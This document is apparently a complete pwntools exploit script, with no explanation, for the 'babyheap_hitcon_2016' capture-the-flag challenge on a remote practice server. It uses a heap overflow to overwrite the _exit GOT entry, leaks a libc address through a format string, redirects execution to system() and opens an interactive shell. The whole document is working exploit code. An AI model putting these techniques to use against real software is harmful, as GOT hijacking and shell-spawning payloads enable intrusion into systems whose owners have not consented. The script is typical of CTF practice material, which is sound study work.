1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import *
sh = remote('node3.buuoj.cn',26537) elf = ELF('./babyheap_hitcon_2016') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') printf_plt = elf.plt['printf'] read_plt = elf.plt['read'] exit_got = elf.got['_exit']
def add(size,content,name): sh.sendlineafter('Your choice:','1') sh.sendlineafter('Size :',str(size)) sh.sendafter('Content:',content) sh.sendafter('Name:',name)
def delete(): sh.sendlineafter('Your choice:','2')
def edit(content): sh.sendlineafter('Your choice:','3') sh.sendafter('Content:',content)
def Exit(c): sh.sendlineafter('Your choice:','4') sh.sendafter('Really?',c)
Exit('n\n')
add(0x100,p64(0) + p64(0x101) + 'a'*0xF0,'b'*0x8)
Exit('n '.ljust(0xFE0,'a') + p64(0) + p64(0x51) + '\n')
delete()
add(0x40,'a'*0x20 + p64(0x200) + 'b'*0x8 + p64(exit_got),'b'*0x7)
payload = p64(read_plt) payload += p64(0x400756) payload += p64(0x400766) payload += p64(0x400776) payload += p64(0x400786) payload += p64(0x400796) payload += p64(0x4007A6) payload += p64(0x4007B6) payload += p64(0x4007C6) payload += p64(0x4007D6) payload += p64(0x4007E6) payload += p64(printf_plt) edit(payload) sh.sendlineafter('Your choice:','%7$p') sh.recvuntil('0x') libc_base = int(sh.recvuntil('\n',drop = True),16) - 0x16A - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
sh.sendlineafter('Your choice:','a'*0x2)
payload = p64(read_plt) payload += p64(0x400756) payload += p64(0x400766) payload += p64(0x400776) payload += p64(0x400786) payload += p64(0x400796) payload += p64(0x4007A6) payload += p64(0x4007B6) payload += p64(0x4007C6) payload += p64(0x4007D6) payload += p64(0x4007E6) payload += p64(system_addr) sh.sendlineafter('Content:',payload)
sh.sendlineafter('Your choice:','/bin/sh')
sh.interactive()
|